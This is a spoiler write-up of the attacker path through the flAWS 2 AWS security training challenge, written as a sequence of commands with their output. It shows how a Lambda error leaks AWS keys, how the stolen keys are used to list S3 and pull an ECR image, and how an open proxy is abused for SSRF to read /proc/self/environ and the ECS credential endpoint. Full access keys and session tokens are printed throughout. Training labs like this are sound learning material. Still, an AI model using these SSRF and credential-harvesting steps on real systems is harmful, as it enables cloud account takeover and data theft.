Warning Spoilers!
This writeup goes through the attacker path of FlAWS 2.
Attack
Level 1
When the input is submitted on the website it sends a request to an API
If we send it an invalid request https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=foo
it returns a json output back
{
"_AWS_XRAY_DAEMON_PORT": "2000",
"AWS_LAMBDA_FUNCTION_NAME": "level1",
"AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjEHoaCXVzLWVhc3QtMSJIMEYCIQC542/5PLQX0QPSq1dzZgq59qOaNUFdP4PZ5wjh6sqTQgIhAMf9EeZcyHNgeGqLv05tRynuMHSnfPEHVhJkXNS/3P87KuACCFIQAxoMNjUzNzExMzMxNzg4Igz2OEdrlk6XYbqiaVgqvQK5AE+uPp9T9mOl+f719Fq1sXKWoiwkEWstbbfd6L2Ur+XXyK/U6N88kdXi+DAPCBYCMhW5wNpSJHwWGPA7WE87PqDUWdAHzWItM2FIYOzkE0B1xGFe1QQ3MtLCf8HkvIVYhJsi64O87x0OHp0XkhEhWUNNWwqJL5yzSxJWqKDOpgPAUuN06zCRQWUJ3H4apFLa8JcxCFaujydNujlNsTS3VVN4EJPCccKgxitHHLkF825obqZ3IV6jnAmDRLfSvxxT5ltFf8wE9jyuEi0ty8d1dgJOg4B/sKp64NFGNEIhxx1BONEmB+e70i0Wn/NuvHJjmltmFd+McceX0h08xOiSNQ3MzgHxsZqbyzBPvaiBwKNrybO6x0XpiyEbI28YLsXru5CYwsP6gc3TgoeHeVQMXxcS9W1XDPJyh8uOjDCUgNqnBjqdAbtSrSjNEaQIvHly++ldEMBJGNvvNvLsdYC1WfvSQl3LyPXPYUWz22h85oVH9yaWDUL5S7eseS1VrEBHkMHL0nd35J/Wk3S4A/QsSWoTCSNVxlQJJEZ+RVp37emOWcjK/G4z2C9EeUTQMhFh9wM4W8ob+zzgDFq4Vho8t6Vxv1lj5Nt2fxoCldUtXTdiFdhEQXmeIv6mLjG6YonQKns=",
"AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10",
"AWS_XRAY_DAEMON_ADDRESS": "169.254.79.129:2000",
"AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "128",
"_AWS_XRAY_DAEMON_ADDRESS": "169.254.79.129",
"AWS_LAMBDA_INITIALIZATION_TYPE": "on-demand",
"AWS_DEFAULT_REGION": "us-east-1",
"AWS_LAMBDA_RUNTIME_API": "127.0.0.1:9001",
"AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/level1",
"AWS_SECRET_ACCESS_KEY": "c/Rz3WExEsOInRv3u5DCkywfm0GSaq3oc23yeDR5",
"TZ": ":UTC",
"LAMBDA_RUNTIME_DIR": "/var/runtime",
"LAMBDA_TASK_ROOT": "/var/task",
"AWS_ACCESS_KEY_ID": "ASIAZQNB3KHGKDQERRMG",
"AWS_REGION": "us-east-1",
"LANG": "en_US.UTF-8",
"_HANDLER": "index.handler",
"AWS_LAMBDA_LOG_STREAM_NAME": "2023/09/05/[$LATEST]23b4c7b71ec64d1c90502dc0aa7526c6",
"AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
"AWS_XRAY_CONTEXT_MISSING": "LOG_ERROR",
"LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
"PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
"NODE_PATH": "/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules",
"_X_AMZN_TRACE_ID": "Root=1-64f680f7-16b4323239620c57349b8b96;Parent=070fb765490e30ef;Sampled=0;Lineage=e547cb94:0"
}
Exporting the credentials into our local environment for poking around. We assume the domain is a S3 bucket. When hitting a URL that does not exist we can confirm this (level1.flaws2.cloud/foo).
export AWS_ACCESS_KEY_ID=ASIAZQNB3KHGKDQERRMG
export AWS_SECRET_ACCESS_KEY=c/Rz3WExEsOInRv3u5DCkywfm0GSaq3oc23yeDR5
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEHoaCXVzLWVhc3QtMSJIMEYCIQC542/5PLQX0QPSq1dzZgq59qOaNUFdP4PZ5wjh6sqTQgIhAMf9EeZcyHNgeGqLv05tRynuMHSnfPEHVhJkXNS/3P87KuACCFIQAxoMNjUzNzExMzMxNzg4Igz2OEdrlk6XYbqiaVgqvQK5AE+uPp9T9mOl+f719Fq1sXKWoiwkEWstbbfd6L2Ur+XXyK/U6N88kdXi+DAPCBYCMhW5wNpSJHwWGPA7WE87PqDUWdAHzWItM2FIYOzkE0B1xGFe1QQ3MtLCf8HkvIVYhJsi64O87x0OHp0XkhEhWUNNWwqJL5yzSxJWqKDOpgPAUuN06zCRQWUJ3H4apFLa8JcxCFaujydNujlNsTS3VVN4EJPCccKgxitHHLkF825obqZ3IV6jnAmDRLfSvxxT5ltFf8wE9jyuEi0ty8d1dgJOg4B/sKp64NFGNEIhxx1BONEmB+e70i0Wn/NuvHJjmltmFd+McceX0h08xOiSNQ3MzgHxsZqbyzBPvaiBwKNrybO6x0XpiyEbI28YLsXru5CYwsP6gc3TgoeHeVQMXxcS9W1XDPJyh8uOjDCUgNqnBjqdAbtSrSjNEaQIvHly++ldEMBJGNvvNvLsdYC1WfvSQl3LyPXPYUWz22h85oVH9yaWDUL5S7eseS1VrEBHkMHL0nd35J/Wk3S4A/QsSWoTCSNVxlQJJEZ+RVp37emOWcjK/G4z2C9EeUTQMhFh9wM4W8ob+zzgDFq4Vho8t6Vxv1lj5Nt2fxoCldUtXTdiFdhEQXmeIv6mLjG6YonQKns=
aws sts get-caller-identity
# {
# "UserId": "AROAIBATWWYQXZTTALNCE:level1",
# "Account": "653711331788",
# "Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
# }
aws s3 ls s3://level1.flaws2.cloud
# PRE img/
# 2018-11-20 15:55:05 17102 favicon.ico
# 2018-11-20 21:00:22 1905 hint1.htm
# 2018-11-20 21:00:22 2226 hint2.htm
# 2018-11-20 21:00:22 2536 hint3.htm
# 2018-11-20 21:00:23 2460 hint4.htm
# 2018-11-20 21:00:17 3000 index.htm
# 2018-11-20 21:00:17 1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
curl http://level1.flaws2.cloud/secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
# The next level is at http://level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
Level 2
http://level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
The target endpoint is http://container.target.flaws2.cloud/
From the hint we know there is a ECR repository. Using the same credentials from level 1.
aws ecr list-images --repository-name level2
# {
# "imageIds": [
# {
# "imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e",
# "imageTag": "latest"
# }
# ]
# }
aws ecr get-login-password --region us-east-1 | docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com
docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
Now that the image is pulled on our machine lets inspect & exec into the container and see if we can find the credentials.
docker inspect 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
# "Cmd": [
# "/bin/sh",
# "-c",
# "#(nop) ",
# "CMD [\"sh\" \"/var/www/html/start.sh\"]"
# ]
Open a shell into the container
docker container run -it --rm 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest bash
# root@0a45ca9bc398:/#
cd /var/www/html/
ls -l
# -rw-r--r-- 1 root root 1890 Nov 26 2018 index.htm
# -rw-r--r-- 1 root root 612 Nov 27 2018 index.nginx-debian.html
# -rw-r--r-- 1 root root 614 Nov 27 2018 proxy.py
# -rw-r--r-- 1 root root 49 Nov 26 2018 start.sh
cat index.htm
# http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud
Level 3
http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud
The endpoint http://container.target.flaws2.cloud/proxy/http://neverssl.com
acts as a proxy. From it we might be able to hit the AWS metadata server.
Knowing that the web server is the docker image we looked at on level 2. I am assuming its running on ECS.
Lets try to hit the task metadata endpoint version 2 which is long depricated & does not have a lot of documentation
curl http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/
# No Credenitl ID in request
## We need to get the GUID for credentials
# Get the GUID from the running environment process
curl http://container.target.flaws2.cloud/proxy/file:///proc/self/environ
# AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/72451cb2-1e34-4d61-be82-018b08c2eca4
curl http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/72451cb2-1e34-4d61-be82-018b08c2eca4/
# Cannot have a ending backslack...
curl http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/72451cb2-1e34-4d61-be82-018b08c2eca4
# {
# "RoleArn": "arn:aws:iam::653711331788:role/level3",
# "AccessKeyId": "ASIAZQNB3KHGEBPHXI67",
# "SecretAccessKey": "bc4yWR/aT7aeLg+kWZNqtC9ppj3QNqyZoLPIRsP5",
# "Token": "IQoJb3JpZ2luX2VjEHoaCXVzLWVhc3QtMSJHMEUCIDbbW++HfqehRwLCqB7t4NuU13tgjrDpFoEji0yJ7o+FAiEAhGMEONQz06wGpK0931X1hgg7X2A0/s3lq3ZodnTcyU0q4wMIUxADGgw2NTM3MTEzMzE3ODgiDNL0tc4JiBhwTpnkACrAA1hZl/t90BI3QNCwRD4mEg87OLlQzQMy8I67Mp3P6njwitPNcD7ACn/tNVvy/SHrmA3i+jcrFjwCb71APFvsrA4ew7IW762dvNT/Ih/jwoLwWYr1plIgrfHbLecvcfAIS7u3pqaZZzdlKDNGUWOwR4zvpj4YWt6jS7A6gfbE+Rt2UROLasJtO5xlhhLG1MnFVRwSkruiW7NTtdGe4ayeme1EE3inC7QS0BQnRyRU247bAfZurVORrns2h3ifBZMFoLJbI7sQvmn8FRlRQf92eCbLl8adiBLJpRG3/UYkbG52DuPZvYfgwTvndfmObyzAnxSjtIjHbdCwtxrfhEZjlJiuC3oAFRGHufyCUhwBdkQ+hxPymSjWHc3MKIEz1+TijyS4JZtM78HAn5sefqZv7ONcvKq1xR57LlokqkmRj95Q5hBF5eLqvgjQni1+0MC1puqa3v9Nfqo09uq/+vqkDOrauYT3yuZhNEJVV4lY7ZgFYa7xfU2kW/2yjVaBC4sDkTlD5KGfocJf/Ku8kF4MBYRqhcsK9P44BbvUh0bSiGy+sz1I8XptR+sDh4fV0Lg5V5Vj75m33EATtC5Tvm5PDWUw8ZDapwY6pQHmW8wq1UdvqbNplGBIm7g4XyyUjEWYusGQ2I4E1twfza8+697ozXUDop+JtyTCqcpiiBOPcSM42ZlY9jeuh9QQQsoeRPJGQlrk+adkKerXLwMA9jsPKovXoQdM5oUD5HBa77wELjh5ErNotVNbYrigd51dTGJXb4oLlytcbvFOmtZSrcw+M9/B9lwZDLVVMbJ0LmI8qAftHRGn0LOtLRrLei9L6mU=",
# "Expiration": "2023-09-05T07:46:25Z"
# }
Now that we have access keys lets finish this.
export AWS_ACCESS_KEY_ID=ASIAZQNB3KHGEBPHXI67
export AWS_SECRET_ACCESS_KEY=bc4yWR/aT7aeLg+kWZNqtC9ppj3QNqyZoLPIRsP5
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEHoaCXVzLWVhc3QtMSJHMEUCIDbbW++HfqehRwLCqB7t4NuU13tgjrDpFoEji0yJ7o+FAiEAhGMEONQz06wGpK0931X1hgg7X2A0/s3lq3ZodnTcyU0q4wMIUxADGgw2NTM3MTEzMzE3ODgiDNL0tc4JiBhwTpnkACrAA1hZl/t90BI3QNCwRD4mEg87OLlQzQMy8I67Mp3P6njwitPNcD7ACn/tNVvy/SHrmA3i+jcrFjwCb71APFvsrA4ew7IW762dvNT/Ih/jwoLwWYr1plIgrfHbLecvcfAIS7u3pqaZZzdlKDNGUWOwR4zvpj4YWt6jS7A6gfbE+Rt2UROLasJtO5xlhhLG1MnFVRwSkruiW7NTtdGe4ayeme1EE3inC7QS0BQnRyRU247bAfZurVORrns2h3ifBZMFoLJbI7sQvmn8FRlRQf92eCbLl8adiBLJpRG3/UYkbG52DuPZvYfgwTvndfmObyzAnxSjtIjHbdCwtxrfhEZjlJiuC3oAFRGHufyCUhwBdkQ+hxPymSjWHc3MKIEz1+TijyS4JZtM78HAn5sefqZv7ONcvKq1xR57LlokqkmRj95Q5hBF5eLqvgjQni1+0MC1puqa3v9Nfqo09uq/+vqkDOrauYT3yuZhNEJVV4lY7ZgFYa7xfU2kW/2yjVaBC4sDkTlD5KGfocJf/Ku8kF4MBYRqhcsK9P44BbvUh0bSiGy+sz1I8XptR+sDh4fV0Lg5V5Vj75m33EATtC5Tvm5PDWUw8ZDapwY6pQHmW8wq1UdvqbNplGBIm7g4XyyUjEWYusGQ2I4E1twfza8+697ozXUDop+JtyTCqcpiiBOPcSM42ZlY9jeuh9QQQsoeRPJGQlrk+adkKerXLwMA9jsPKovXoQdM5oUD5HBa77wELjh5ErNotVNbYrigd51dTGJXb4oLlytcbvFOmtZSrcw+M9/B9lwZDLVVMbJ0LmI8qAftHRGn0LOtLRrLei9L6mU=
aws sts get-caller-identity
# {
# "UserId": "AROAJQMBDNUMIKLZKMF64:f585a4cfc9ed47faa6a43ce70a51ba01",
# "Account": "653711331788",
# "Arn": "arn:aws:sts::653711331788:assumed-role/level3/f585a4cfc9ed47faa6a43ce70a51ba01"
# }
aws s3 ls
# 2018-11-20 14:50:08 flaws2.cloud
# 2018-11-20 13:45:26 level1.flaws2.cloud
# 2018-11-20 20:41:16 level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
# 2018-11-26 14:47:22 level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud
# 2018-11-27 15:37:27 the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud
Visit the website the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud